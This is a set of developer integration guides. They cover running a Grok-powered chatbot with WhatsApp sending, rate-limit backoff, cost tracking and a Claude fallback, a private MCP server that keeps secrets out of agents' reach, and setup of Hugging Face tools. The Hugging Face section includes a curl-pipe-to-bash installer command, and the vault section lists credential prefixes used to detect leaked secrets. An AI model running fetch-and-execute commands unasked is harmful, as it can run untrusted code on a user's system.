    const cut = Math.max(rest.lastIndexOf("\n", limit), rest.lastIndexOf(". ", limit) + 1);
    const at = cut > limit / 2 ? cut : limit;   // prefer a paragraph/sentence break
    chunks.push(rest.slice(0, at).trim());
    rest = rest.slice(at).trim();
  }
  if (rest) chunks.push(rest);
  return chunks;
}

WhatsApp: send once

Drop the drafts and send once. You can still stream server-side, so a stalled generation trips your own timeout instead of the platform's:

const { text } = await runTurn(conversationId, ctx);

await fetch(
  `https://graph.facebook.com/v26.0/${process.env.WHATSAPP_PHONE_NUMBER_ID}/messages`,
  {
    method: "POST",
    headers: {
      Authorization: `Bearer ${process.env.WHATSAPP_ACCESS_TOKEN}`,
      "Content-Type": "application/json",
    },
    body: JSON.stringify({
      messaging_product: "whatsapp",
      to: chatId,                                    // 254XXXXXXXXX, no + and no leading 0
      type: "text",
      text: { body: text.slice(0, 4096) },
    }),
  },
);

Graph API v26.0 (released 2026-07-29) is the current version.

The 24-hour window is a bot-architecture problem, not a messaging detail. If the user's last inbound message is older than 24 hours, a free-form text send fails, and you must use an approved template instead. So the bot has to check before it generates:

const stale = Date.now() - convo.last_user_at.getTime() > 24 * 60 * 60 * 1000;
if (stale) {
  await sendTemplate(chatId, "conversation_resume", []); // pre-approved, re-opens the window
  return; // don't burn a Grok call on a message you can't deliver
}

Template creation and approval flow: see whatsapp-business-api/CLAUDE_CODE_INTEGRATION.md.


6. Rate limits and cost guardrails

xAI meters two dimensions per model, both tiered by cumulative API spend since 2026-01-01:

Tier Cumulative spend
0 default
1 $50
2 $250
3 $1,000
4 $5,000

Tiers upgrade automatically and never downgrade. Your exact per-model limits are on the xAI Console's Models page. Over either limit you get HTTP 429. xAI documents no rate-limit response headers, so don't write code that reads x-ratelimit-*.

xAI's documented remedy is exponential backoff: up to 5 tries, waiting 2^attempt seconds, and never retrying non-rate-limit errors. For a bot, that means a queue, not a retry inside the webhook. Note the AI SDK also retries (maxRetries defaults to 2), so set maxRetries: 0 on calls you wrap, or the two retry loops multiply.

// lib/bot/retry.ts
export async function withBackoff<T>(fn: () => Promise<T>, attempts = 5): Promise<T> {
  let lastErr: unknown;
  for (let i = 0; i < attempts; i++) {
    try {
      return await fn();
    } catch (err) {
      lastErr = err;
      const status = (err as { statusCode?: number; status?: number }).statusCode
        ?? (err as { status?: number }).status;
      const retryable = status === 429 || (status !== undefined && status >= 500);
      if (!retryable || i === attempts - 1) throw err;
      const wait = 2 ** i * 1000 + Math.random() * 250; // 1s, 2s, 4s, 8s + jitter
      await new Promise((r) => setTimeout(r, wait));
    }
  }
  throw lastErr;
}

Instrument cost per conversation

You cannot manage what you do not meter, and "tokens per request" is the wrong unit for a bot. The unit is cost per conversation, because that is what scales with users.

Price each step separately. The 200k tier applies per request, and in a multi-step turn each step is its own request, so pricing the summed result.usage would misjudge the tier.

// lib/bot/cost.ts
import type { LanguageModelUsage } from "ai";

// Rates per 1M tokens below a 200k-token prompt. At or above it, ALL tokens in
// that request bill at 2x. Verify against https://docs.x.ai/developers/models.
const RATES = {
  "grok-4.7": { input: 2.0, cachedInput: 0.5, output: 6.0 },
  "grok-4.3": { input: 1.25, cachedInput: 0.2, output: 2.5 },
} as const;
const LONG_PROMPT = 200_000;

export type PricedModel = keyof typeof RATES;

export function requestCostUsd(model: PricedModel, u: LanguageModelUsage) {
  const r = RATES[model];
  const input = u.inputTokens ?? 0;
  const cached = u.inputTokenDetails.cacheReadTokens ?? 0;   // v7 field name
  const fresh = Math.max(0, input - cached);
  const tier = input >= LONG_PROMPT ? 2 : 1;
  return (tier * (fresh * r.input + cached * r.cachedInput + (u.outputTokens ?? 0) * r.output)) / 1_000_000;
}

export function turnCostUsd(model: PricedModel, steps: { usage: LanguageModelUsage }[]) {
  return steps.reduce((sum, s) => sum + requestCostUsd(model, s.usage), 0);
}
const { text, usage, steps } = await runTurn(conversationId, ctx);

await db.insertInto("bot_messages").values({
  conversation_id: conversationId,
  role: "assistant",
  content: text,
  provider: "xai",
  prompt_tokens: usage.inputTokens ?? 0,
  completion_tokens: usage.outputTokens ?? 0,
  cached_tokens: usage.inputTokenDetails.cacheReadTokens ?? 0,
  cost_usd: turnCostUsd(GROK_MODEL, steps) + searchCallsThisTurn * 0.005,
}).execute();

Then add the guardrails that keep one user from becoming the whole bill:

Guardrail Implementation Why
Per-conversation budget Sum cost_usd for the conversation; over ceiling → handoff_to_human One looping user can outspend a hundred normal ones
Per-user message rate Token bucket keyed on chat_id in Redis/Upstash Bots get spammed; each spam message is a paid inference
Step cap stopWhen: isStepCount(5) Every step is a full prompt resend
History cap VERBATIM_TURNS + summarisation Keeps prompts far below the 200k double-price cliff
Output cap maxOutputTokens sized to the surface Output tokens cost 3× input on grok-4.7
Search cap maxTurns on the search call + a per-conversation count web_search is $5 per 1k calls on top of tokens
Global kill switch Feature flag checked before every generate The only thing that stops a runaway at 2am

Priority processing (providerOptions.xai.serviceTier: 'priority') buys lower latency at 2× token rates, and only when the response confirms the tier. Read providerMetadata.xai.serviceTier back before you double your cost model.


7. Grok → Claude fallback

codeAmani's routing policy makes Anthropic Claude primary for complex reasoning and code gen; Grok earns its slot for live grounding and conversational speed. For a bot, the practical framing is different. Grok is the default brain, and Claude keeps the bot answering when xAI returns 429, times out, or ships a bad deploy.

Make the fallback a boundary, not a branch scattered through the code: one interface, two adapters, the same tool schemas on both sides.

flowchart TD
  A["Turn"] --> B["Grok · grok-4.7"]
  B -->|"ok"| Z["Reply"]
  B -->|"429 / 5xx / timeout"| C{"Retries<br/>exhausted?"}
  C -->|"no"| B
  C -->|"yes"| D["Claude · same tools"]
  D -->|"ok"| Z
  D -->|"fails too"| E["Canned holding reply<br/>+ handoff_to_human"]
  E --> Z
// lib/bot/brain.ts
import { xai } from "@ai-sdk/xai";
import { anthropic } from "@ai-sdk/anthropic";
import { generateText, isStepCount, type ModelMessage } from "ai";

type TurnInput = { instructions: string; messages: ModelMessage[]; conversationId: string };

async function grokTurn({ conversationId, ...input }: TurnInput) {
  return generateText({
    model: xai(GROK_MODEL),
    ...input,
    tools: botTools,
    stopWhen: isStepCount(5),
    maxRetries: 0,                                    // withBackoff owns retries
    headers: { "x-grok-conv-id": conversationId },
    providerOptions: { xai: { ...XAI_BOT_OPTIONS, promptCacheKey: conversationId } },
  });
}

async function claudeTurn({ conversationId: _id, ...input }: TurnInput) {
  return generateText({
    model: anthropic("claude-opus-5-5"), // see anthropic/; claude-sonnet-5-5 is the cheaper option
    ...input,
    tools: botTools,                     // identical schemas: this is the whole point
    stopWhen: isStepCount(5),
    // No temperature, no xai providerOptions: current Claude models reject sampling params.
  });
}

export async function think(input: TurnInput) {
  try {
    const r = await withBackoff(() => grokTurn(input));
    return { ...r, provider: "xai" as const };
  } catch (err) {
    logProviderFailure("xai", err);
    try {
      const r = await claudeTurn(input);
      return { ...r, provider: "anthropic" as const };
    } catch (err2) {
      logProviderFailure("anthropic", err2);
      return {
        text: "Sorry, I'm having trouble right now. A colleague will reply shortly.",
        provider: "none" as const,
        steps: [],
      };
    }
  }
}

Three things make a fallback real rather than decorative:


codeAmani notes

Security

AI routing

Grok is the bot brain when the value is conversational latency plus live grounding: a shop assistant that can answer "what's the fuel price today" or "is that team playing tonight" through search_web without you building a scraper. Claude stays primary for the harder offline work around the bot: writing the tool layer, reviewing prompts, and any multi-step reasoning that runs outside the chat turn. grok-4.3 with reasoningEffort: 'none' or Together AI covers high-volume, low-stakes classification (intent tagging, language detection), where a flagship model is waste.

Kenya-targeted projects


Troubleshooting

Symptom Cause Fix
Bot replies with an empty message after using a tool stopWhen left at the v7 default isStepCount(1) Set stopWhen: isStepCount(5)
User gets the same reply twice Webhook redelivered after a slow/failed ACK 200 immediately, run the turn after; dedupe on provider_message_id
WhatsApp send returns an error on a free-form text Outside the 24-hour window Check last_user_at first; re-open with an approved template
401 on the webhook you just deployed Signature computed over parsed JSON HMAC the raw body string, before JSON.parse
429 from api.x.ai under load RPS (RPM÷48) or TPM tier limit Backoff + queue; raise tier by spend, or fall back to Claude
Retries take far longer than expected AI SDK maxRetries (default 2) stacked under your own backoff maxRetries: 0 on wrapped calls
Cached tokens always log as 0 Reading usage.cachedInputTokens (not a v7 field) Read usage.inputTokenDetails.cacheReadTokens
Costs climb every day with the same user count Unbounded history, or prompts crossing 200k (2× tier) Cap verbatim turns, summarise, send x-grok-conv-id / promptCacheKey
Old bot "works" but quality/cost changed Retired slug (grok-4-1-fast-*, grok-3, …) silently redirected to grok-4.3 Pin grok-4.7 / grok-4.3 explicitly
Telegram draft appears, then the answer vanishes Drafts are 30-second ephemeral previews Always sendMessage the final text after the stream ends
sendMessageDraft fails in a group Drafts are private-chat only Use sendChatAction("typing") + one sendMessage in groups
web_search + function tools in one request misbehaves Provider docs say server-side and function tools can't mix Wrap search in its own search_web function tool (§4)
Replies take 40s+ and users repeat themselves Reasoning latency Show a draft/typing indicator immediately, stream, raise SDK timeout (~360s)
Bot invents an order status Persona lacks an explicit "call a tool or say you don't know" rule Add the rule and make the tool the only source of that fact

Official docs:

Hazina MCP Integration Guide

Technology: hazina-mcp · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/hazina-mcp

Insight:

Hazina is codeAmani's own MCP server: a local stdio process over the encrypted secrets vault, not a hosted API. Its 14 tools are value-free. Agents can wire, audit and inject secrets by reference, but no tool returns a plaintext value. The vault lives in WSL, so Windows clients reach it through a wsl.exe bridge. It still runs on the v1 SDK (@modelcontextprotocol/sdk) and speaks the 2025-era initialize handshake. MCP 2026-07-28 and SDK v2 are out, and v1 gets fixes only until about late January 2027, so plan the move to serveStdio.

Hazina MCP Integration Guide

Focus: running codeAmani's first-party Hazina MCP server from WSL and exposing it to Windows-side agents (Cursor's Grok bot, Claude Code desktop) without ever moving the vault.

Overview

Most MCP servers in this stack are vendor-hosted and remote: you point a URL at them and attach a bearer token. Hazina is the opposite. It is a local stdio server you own, launched as a child process, speaking JSON-RPC over stdin/stdout. There is no network listener and no endpoint to leak.

It sits in front of the Hazina encrypted secrets vault. The core design rule is that no MCP tool returns a secret value. Agents get names, references, wiring graphs and readiness reports. Two tools move real values, and both move them outward: inject writes a gitignored env file the agent never reads back, and push sends values to Vercel or Netlify. That is what makes it safe to hand to an autonomous agent.

Source of truth is Linux. The vault lives at ~/.codeamani/hazina inside WSL. The Windows copy under C:\Users\info\.codeamani\hazina is archive-only (it carries an ARCHIVED.md). Do not create new bindings against it.

Which code is which (read this first)

Three codebases carry the Hazina name. Only one of them is what your agents talk to.

Codebase Version MCP tools Role
codeAmani-Solutions/hazina (private), checked out at ~/projects/hazina in WSL 0.3.0 14 Live. The vault, CLI, local web portal and the MCP server. ~/.local/bin/hazina-mcp symlinks to its bin/hazina-mcp.
codeAmani-Labs/hazina-mcp (private), checked out at ~/projects/hazina-mcp 0.1.0 14 (declared as data) Standalone MCP layer behind a VaultAdapter port, with an in-memory adapter and a four-client test suite. Installed but not the live launcher.
packages/hazina in this repo 0.1.0 6 Historical monorepo snapshot. Do not install from it. Its guard still lacks the 16-char floor.

Verified on 2026-10-20 by reading each repo's source and resolving the WSL symlink (readlink -f ~/.local/bin/hazina-mcp → /home/barnabas/projects/hazina/bin/hazina-mcp). The tool table below describes the live 0.3.0 server.

Official Documentation

Topic URL
MCP specification (current: 2026-07-28) https://modelcontextprotocol.io/specification/2026-07-28
Versioning and backward compatibility https://modelcontextprotocol.io/specification/2026-07-28/basic/versioning
stdio transport https://modelcontextprotocol.io/specification/2026-07-28/basic/transports/stdio
Build an MCP server https://modelcontextprotocol.io/docs/develop/build-server
Connect local (stdio) servers https://modelcontextprotocol.io/docs/develop/connect-local-servers
TypeScript SDK (repo) https://github.com/modelcontextprotocol/typescript-sdk
TypeScript SDK v2 docs / v1 docs https://ts.sdk.modelcontextprotocol.io/v2/ · https://ts.sdk.modelcontextprotocol.io/
MCP Inspector https://modelcontextprotocol.io/docs/tools/inspector
MCP in Claude Code https://code.claude.com/docs/en/mcp
MCP in Cursor https://cursor.com/docs/mcp
WSL filesystem / interop / WSLENV https://learn.microsoft.com/en-us/windows/wsl/filesystems

Hazina's own repos are private. Their docs ship in-tree: docs/INSTALL.md and docs/UBUNTU-GLOBAL.md in codeAmani-Solutions/hazina; docs/CLIENTS.md, docs/TOOLS.md, docs/TESTING.md and SECURITY.md in codeAmani-Labs/hazina-mcp.

The protocol moved: MCP 2026-07-28 and SDK v2

The current MCP revision is 2026-07-28. It drops the stateful initialize handshake:

The TypeScript SDK split to match:

v1 (legacy line) v2 (stable line)
Package @modelcontextprotocol/sdk 1.32.1 @modelcontextprotocol/server 2.3.1 (+ /client, /core)
Imports @modelcontextprotocol/sdk/server/mcp.js, .../server/stdio.js @modelcontextprotocol/server, @modelcontextprotocol/server/stdio
Input schema raw Zod shape { project: z.string() } (Zod 3 or 4) z.object({...}), Zod ^4.2 required
stdio entry server.connect(new StdioServerTransport()) serveStdio(createServer), which serves both eras
Support bug and security fixes for at least six months after v2 shipped (2026-07-27) current

Per the official build-server tutorial, a v2 server wired by hand with server.connect(new StdioServerTransport()) "only serves 2025-era clients". Use serveStdio with a factory that returns a fresh McpServer on every call.

Where Hazina stands. All three Hazina codebases depend on @modelcontextprotocol/sdk ^1.29.0 and zod ^3.23.8. They use server.connect(new StdioServerTransport()), so Hazina is a legacy-era server. Today's clients (Claude Code, Cursor, Grok Build) still open with initialize or fall back to it, so nothing is broken. The risk is time: v1 fixes are only promised until about late January 2027. The migration is small: swap the package, wrap each input shape in z.object(), move to Zod 4, and replace connect() with serveStdio(). A typed, runnable v2 sketch of the Hazina pattern is in examples/value-free-server.mts.

How it is built (live 0.3.0)

npm install @modelcontextprotocol/sdk@^1.29.0 zod@^3.23.8   # what Hazina pins today
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
import { z } from "zod";

const server = new McpServer({ name: "hazina", version: packageVersion() }); // "0.3.0"

server.registerTool(
  "describe_project",
  {
    title: "Describe a project's secret wiring",
    description: "For a bound project, return each env var, its reference, and status — value-free.",
    inputSchema: { project: z.string().describe("Project name (a binding).") },
  },
  async ({ project }) => guarded(kp, await describeProject(kp, project)),
);

await server.connect(new StdioServerTransport());
console.error("hazina MCP server running on stdio"); // stderr, never stdout

Two rules follow from the stdio transport, and you cannot break them:

The value-free guard

Every tool result passes through guarded() before it leaves the process. It re-loads the catalog and calls assertNoValues(), which throws rather than returning if any catalog value appears as a substring of the serialized payload. A future buggy handler therefore cannot leak a value across the agent boundary.

The guard only checks values of at least MIN_ASSERTED_SECRET_LEN = 16 characters. Without that floor, short non-secret values (a 1 flag, a / redirect path) substring-match every count and path, and every tool fails with a "leak" that never happened. That outage happened on 2026-08-19 and was fixed on 2026-08-20 in both private repos (650ed20 in the vault, 5e38bc4 in hazina-mcp). The constant must stay identical in the two repos.

codeAmani-Labs/hazina-mcp adds a second layer on top of the known-value check: a credential prefix list (sk_live_, whsec_, ghp_, sk-ant-, hf_, AKIA, …) and a Shannon-entropy heuristic (tokens of 24+ chars at ≥ 4.0 bits/char, with references containing / or # exempt). The live 0.3.0 vault server uses only the known-value check.

Install (WSL)

cd ~/projects/hazina            # clone of codeAmani-Solutions/hazina
npm install
npm run install:global          # symlinks ~/.local/bin/hazina and ~/.local/bin/hazina-mcp
hazina version                  # 0.3.0
hazina doctor                   # readiness: vault, key, DPAPI path, counts (names only)
hazina mcp                      # prints the agent config snippet

Requirements: Node 20+, and WSL interop enabled (the DPAPI unwrap shells out to powershell.exe). Re-run npm install && npm run install:global after every pull.

The hazina-mcp launcher is a bash wrapper. It resolves its own symlinks and then:

Because the launcher supplies its own HAZINA_HOME, Windows client configs need no env block. See the WSLENV note under Gotchas.

Setting Default Notes
HAZINA_HOME $HOME/.codeamani/hazina Vault directory: vault.enc, master.key.dpapi, bindings/, audit.log
HAZINA_PKG_ROOT the package root (parent of bin/) Where the code lives
HAZINA_POWERSHELL powershell.exe on PATH Override the PowerShell binary used for OS-env import
HAZINA_MCP_ADAPTER hazina hazina-mcp repo only: set to memory for synthetic fixtures

None of these are secrets. They hold paths and mode names.

The 14 tools (live 0.3.0)

All 14 are value-free. Input names are taken from src/mcp/server.ts in codeAmani-Solutions/hazina.

Tool Inputs What it returns
status none initialized, entry count, bound-project count
doctor none Readiness: HAZINA_HOME, vault/key presence, PowerShell DPAPI path, counts
list_refs none Every reference: path, type, tags, field names
list_projects none Project names that have a binding
get_binding project env-to-ref mappings, binding path, env file. Literals show as literal: true without their value
describe_project project Each env var, its ref, status ok / missing / stale / os-env
wiring_summary project?, maxEdges? (default 500) project → namespace edges, byNamespace counts, truncated flag
audit project? Catalog vs bindings: stale, unused, unresolved refs
propose_binding project, projectDir (absolute) Scans the first of .env.example / .env.local / .env, proposes refs by name match. Does not write
bind project, projectDir?, envFile?, add?: [{env, ref}], lit?: [{env, value}], detect? Creates or updates a binding. lit is for non-secrets only (ports, public URLs)
unbind project, env Removes one ENV name. Does not delete the vault secret
import_from_os_env namespace? (default windows-env), keys?, prefix?, scopes?: process|user|machine, overwrite? Imports from the OS / Windows env. Returns key names imported or skipped
inject project, check? Writes the gitignored env file. Returns which keys were written, missing or stale
push project, provider: vercel|netlify, target?, check?, site?, replaceExisting? Pushes resolved values to the host. Returns key names pushed or skipped

There is no reveal, get_value, read_secret, decrypt or export_vault tool, by design. The only value-printing path is the human-run CLI hazina get <path> --reveal (or the portal's Reveal button), and both write an audit-log line.

Statuses explained: stale means the entry is past its rotation window. os-env means the ref is missing from the vault, but inject will fill it from the process, then the Windows User, then the Machine environment under the same ENV name.

CLI essentials (human side)

Command Purpose
hazina init Create the vault and the DPAPI-wrapped key
hazina add <path> [--type env|apikey|account|note|file] [--field f ...] [--tag t] Store an entry. The value is read from a hidden prompt, never argv
hazina list [--type T] [--tag G] / hazina projects Paths, types, field names / bound projects
hazina bind <project> --path DIR --dotenv .env.local --add ENV=ns/ref [--lit ENV=value] [--detect] Wire a project. Use --dotenv (or --env-name), not --env-file, which Node 20+ intercepts
hazina inject <project> --check then hazina inject <project> Dry-run drift report, then write. --no-os-env disables the OS-env fallback
hazina inject --check-all Launcher shortcut: dry-run every bound project
hazina audit [project] · hazina graph [project] [--json] Stale/unused/unresolved refs · wiring graph
hazina import --from <.env> · --from-env --keys A,B --scope user · --markdown <file> [--apply] Migrate existing secrets in
hazina push <project> --provider vercel|netlify [--target …] [--check] Sync to a host
hazina export --out FILE / hazina restore --backup FILE scrypt + AES-256-GCM backup, independent of DPAPI
hazina web [--port N] Local portal on http://127.0.0.1:4318 (loopback only, per-session token)
hazina get <path[#field]> [--reveal] Masked by default. --reveal is the only value-printing command, and it is audited

Exit codes: 0 ok, 1 error, 2 drift (missing or stale refs).

References are namespace/name (field value) or namespace/name#field, for example github/login#password.

Wiring it to clients

Where the client runs decides whether you need the bridge.

Client Runs on Config file Command
Grok Build (CLI) inside WSL ~/.grok/config.toml /home/barnabas/.local/bin/hazina-mcp
Claude Code (in WSL) inside WSL ~/.claude.json /home/barnabas/.local/bin/hazina-mcp
Cursor / Grok bot Windows ~/.cursor/mcp.json wsl.exe bridge
Claude Code desktop Windows ~/.claude.json wsl.exe bridge

The Claude Desktop app reads claude_desktop_config.json, a different file. It is deliberately not wired to Hazina.

Windows clients: the wsl.exe bridge

{
  "mcpServers": {
    "hazina": {
      "type": "stdio",
      "command": "wsl.exe",
      "args": ["-d", "Ubuntu", "--", "/home/barnabas/.local/bin/hazina-mcp"]
    }
  }
}

wsl.exe passes stdin/stdout through unchanged, so the JSON-RPC stream crosses the boundary intact. The same block works in ~/.cursor/mcp.json and in ~/.claude.json. Confirm the distro name with wsl.exe -l -q.

WSL-native clients

# ~/.grok/config.toml
[mcp_servers.hazina]
command = "/home/barnabas/.local/bin/hazina-mcp"
claude mcp add --scope user hazina -- /home/barnabas/.local/bin/hazina-mcp
claude mcp get hazina      # read it back

In claude mcp add, everything after -- is passed to the server untouched. --scope user writes to ~/.claude.json for all projects. The default local scope writes there too, but only for the current project.

Restart the client after any tool change. Clients cache the tool list they read when they connect.

Verifying the bridge

Do not trust the config. Speak the protocol to it. Hazina is a legacy-era server, so open with initialize:

export MSYS_NO_PATHCONV=1   # only needed in Git Bash
printf '%s\n' \
 '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"probe","version":"1"}}}' \
 '{"jsonrpc":"2.0","method":"notifications/initialized"}' \
 '{"jsonrpc":"2.0","id":2,"method":"tools/list"}' \
 | wsl.exe -d Ubuntu -- /home/barnabas/.local/bin/hazina-mcp

Expect "serverInfo":{"name":"hazina","version":"0.3.0"} followed by 14 tools. tools/list never calls a handler, so the probe decrypts nothing. reference/probe.sh --era also sends a server/discover request: an error there confirms the server is still on the legacy era.

Symptom Cause
silent stdout, error on stderr launcher problem: no Node 20+, missing tsx, bad path
serverInfo but zero tools registration problem in src/mcp/server.ts
both correct, client still blind client config problem, wrong scope, or the client needs a restart

Gotchas

Known drift (as of 2026-10-20)

Hazina vs the vendor MCPs

Hazina Cloudflare / Vercel / xAI
Transport local stdio (child process) remote Streamable HTTP
Protocol era legacy (initialize, SDK v1) vendor-dependent
Config key command + args url + Authorization header
Auth filesystem + DPAPI-wrapped key bearer API token / OAuth
Ownership first-party, private vendor-hosted
Failure mode process will not spawn 401 / network
Secrets exposure none: value-free tools token sits in the config

The vendor configs carry ${CLOUDFLARE_API_TOKEN}-style headers. Hazina exists to get rid of exactly that kind of token sprawl. See cloudflare/, vercel/ and xai/ for the vendor-side guides.

codeAmani notes

Official docs:

Hugging Face Integration Guide

Technology: hugging-face · Category: ai · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/hugging-face

Insight:

Hugging Face is home for open-weight and fine-tuned models. Its Inference Providers router (router.huggingface.co/v1) puts ~18 providers (Together, Cerebras, Groq, Fireworks…) behind one HF token and OpenAI-compatible Chat Completions and Responses endpoints, with :fastest / :cheapest / :preferred routing and no markup. It is pay-as-you-go: PRO ($9/mo) includes only $2/month of compute credits and free accounts get none, so budget real spend. Reach for it for open weights, Swahili/multilingual models, cheap embeddings, and free ZeroGPU demos — not for frontier reasoning (that stays on Claude).

██╗  ██╗██╗   ██╗ ██████╗  ██████╗ ██╗███╗   ██╗ ██████╗     ███████╗ █████╗  ██████╗███████╗
██║  ██║██║   ██║██╔════╝ ██╔════╝ ██║████╗  ██║██╔════╝     ██╔════╝██╔══██╗██╔════╝██╔════╝
███████║██║   ██║██║  ███╗██║  ███╗██║██╔██╗ ██║██║  ███╗    █████╗  ███████║██║     █████╗
██╔══██║██║   ██║██║   ██║██║   ██║██║██║╚██╗██║██║   ██║    ██╔══╝  ██╔══██║██║     ██╔══╝
██║  ██║╚██████╔╝╚██████╔╝╚██████╔╝██║██║ ╚████║╚██████╔╝    ██║     ██║  ██║╚██████╗███████╗
╚═╝  ╚═╝ ╚═════╝  ╚═════╝  ╚═════╝ ╚═╝╚═╝  ╚═══╝ ╚═════╝     ╚═╝     ╚═╝  ╚═╝ ╚═════╝╚══════╝

Hugging Face Integration Guide

Focus: Using Hugging Face models, Spaces (incl. ZeroGPU), Inference Providers, and the official HF MCP server inside Claude Code sessions and codeAmani apps.

Overview

Hugging Face hosts 1,000,000+ open-source models, datasets, and Spaces. From inside Claude Code you can run models through Inference Providers (one HF token routing to Together, Cerebras, Groq, Fireworks, Novita and ~13 others behind an OpenAI-compatible router), deploy Gradio apps to Spaces (free GPU via ZeroGPU), manage repos and datasets with the hf CLI, and explore the Hub through the official HF MCP server.

Here is the big picture — the Hub sits at the center, and Claude Code reaches it through two friendly paths that feed straight into your app.

flowchart LR
  Hub["Hugging Face Hub<br/>models · datasets · Spaces"]
  CC["Claude Code"]
  MCP["HF MCP server"]
  CLI["hf CLI"]
  Inf["Inference Providers"]
  Local["Local weights<br/>download · offline"]
  App["Your app"]
  CC --> MCP
  CC --> CLI
  MCP --> Hub
  CLI --> Hub
  Hub -->|"serverless"| Inf
  Hub -->|"download"| Local
  Inf --> App
  Local --> App

Current versions (verified 2026-10-20)

Package Registry Version Notes
@huggingface/inference npm 4.13.32 InferenceClient (JS/TS)
@ai-sdk/huggingface npm 2.0.74 Vercel AI SDK provider (pairs with ai@7.0.146)
@huggingface/transformers npm 4.3.1 transformers.js — in-browser/edge inference
@huggingface/hub npm 2.17.8 Hub API from JS (repos, uploads)
huggingface_hub PyPI 2.2.0 New major (v2.0 on 2026-09-24) — ships the hf CLI
transformers PyPI 5.20.2 v5 — use dtype= (not torch_dtype=)
gradio PyPI 6.30.0 Gradio 6
spaces PyPI 0.51.3 @spaces.GPU for ZeroGPU

Official Documentation

Resource URL
HF Hub Docs https://huggingface.co/docs/hub
Inference Providers https://huggingface.co/docs/inference-providers
Inference Providers pricing https://huggingface.co/docs/inference-providers/pricing
Responses API (beta) https://huggingface.co/docs/inference-providers/guides/responses-api
Live model catalog https://huggingface.co/inference/models
ZeroGPU https://huggingface.co/docs/hub/spaces-zerogpu
User access tokens https://huggingface.co/docs/hub/security-tokens
HF MCP Server https://huggingface.co/docs/hub/en/hf-mcp-server
huggingface_hub / hf CLI https://huggingface.co/docs/huggingface_hub/guides/cli
huggingface_hub v2 migration https://huggingface.co/docs/huggingface_hub/main/en/concepts/migration_v2
AI SDK provider https://ai-sdk.dev/providers/ai-sdk-providers/huggingface
Gradio https://www.gradio.app/docs

Docs pages are served as Markdown — append .md (e.g. …/docs/hub/spaces-zerogpu.md). There is no sitemap.xml for /docs/inference-providers; use the sidebar of the index page.


MCP Server Setup

Hugging Face hosts the official MCP server at https://huggingface.co/mcp (Streamable HTTP). It exposes Hub search/inspection tools plus any MCP-enabled Gradio Space you add in https://huggingface.co/settings/mcp.

# OAuth (no token on disk) — start `claude`, then follow the login prompt
claude mcp add hf-mcp-server -t http "https://huggingface.co/mcp?login"

# …or with a token header (use a fine-grained READ token)
claude mcp add hf-mcp-server -t http https://huggingface.co/mcp \
  -H "Authorization: Bearer ${HF_TOKEN}"

.mcp.json Configuration

{
  "mcpServers": {
    "huggingface": {
      "type": "http",
      "url": "https://huggingface.co/mcp",
      "headers": {
        "Authorization": "Bearer ${HF_TOKEN}"
      }
    }
  }
}

Tools you get

The tool set is configured per account at https://huggingface.co/settings/mcp (built-in tools + Spaces you pin), so the list varies. On the codeAmani connector (checked 2026-10-20) the built-ins are:

Tool What it does
hf_fs Filesystem-style Hub access: ls hf://models/trending, search hf://models <query>, cat hf://models/<org>/<repo>/README.md, papers, docs
hub_repo_search Search models / datasets / Spaces
hub_repo_details Model/dataset/Space overview, dataset structure + preview
hf_whoami Show the authenticated account
(Space tools) Each MCP-enabled Gradio Space you add appears as its own tool (image gen, ASR, …)

Older guides listed tools like search_models / run_space / upload_file — those names are not what the server exposes today. Write/creation tools (repo creation, Jobs) appear only when authenticated and enabled. Add ?no_image_content=true to the URL to strip image blocks from Gradio tool output.


CLI Integration (hf)

The hf CLI ships with huggingface_hub (now v2.x). huggingface-cli and the singular hf repo command group were removed in v2.0 — use hf and hf repos.

Installation + auth

curl -LsSf https://hf.co/cli/install.sh | bash   # standalone installer (recommended)
# or: pip install -U huggingface_hub   |   uvx hf ...   |   brew install hf
hf auth login                   # interactive; stores the token in ~/.cache/huggingface/token
hf auth login --token "$HF_TOKEN"   # non-interactive (CI)
hf auth whoami

Key commands

# Discover models served by Inference Providers
hf models ls --warm --search gemma --json
hf models ls --inference-provider groq --sort downloads

# Download / upload
hf download Qwen/Qwen2.5-3B-Instruct                 # to the local cache
hf download hf://datasets/<org>/<name>@main/data/     # hf:// URIs work too
hf upload <user>/my-model ./model-dir .

# Repos (note: plural `repos`; Space SDK flag is --sdk)
hf repos create my-space --repo-type space --sdk gradio

# Spaces lifecycle
hf spaces secrets add <user>/my-space -s HF_TOKEN=...   # write-only secrets
hf spaces variables add <user>/my-space -e MODEL_ID=Qwen/Qwen2.5-3B-Instruct
hf spaces restart <user>/my-space && hf spaces wait <user>/my-space
hf spaces zero-gpu quota                              # remaining ZeroGPU seconds (v2.1.1+)

# Agent skills for Claude Code / Codex / Cursor (installed to .agents/skills + .claude/skills)
hf skills add

Inference Providers (serverless)

Hugging Face's serverless inference is Inference Providers: one HF token, one router (https://router.huggingface.co/v1), and automatic routing across partner providers. HF passes provider rates through with no markup.

sequenceDiagram
  participant App as "Your code"
  participant Router as "router.huggingface.co"
  participant Prov as "Provider (Groq / Together / Novita / …)"
  App->>Router: "POST /v1/chat/completions or /v1/responses (HF token)"
  Router->>Prov: "route by policy (:fastest / :cheapest / :preferred / named)"
  Prov-->>Router: "tokens"
  Router-->>App: "OpenAI-shaped response"

Providers in the docs table (18): Baseten, Cerebras, Cohere, DeepInfra, Fal AI, Featherless AI, Fireworks, Groq, HF Inference, Novita, Nscale, OVHcloud AI Endpoints, Public AI, Replicate, Scaleway, Together, WaveSpeedAI, Z.ai. The JS client's type also knows humain-ai, openrouter, and openai — see NOTES for the discrepancy. Check GET https://router.huggingface.co/v1/models (public, no token) for live per-provider status, pricing (USD per 1M tokens), context length, latency, throughput, and tool/structured-output support.

Routing — append to the model id (works everywhere, incl. the OpenAI SDK and Claude Code):

Suffix Meaning
(none) / :fastest Default. Highest throughput (tokens/sec); auto-fails over if a provider is flagged down.
:cheapest Lowest price per output token.
:preferred Your order at hf.co/settings/inference-providers.
:groq, :together, :novita, … Pin one provider (deterministic, no failover).

In the native clients you can instead pass provider: "groq" (or "auto"); the policies are suffix-only.

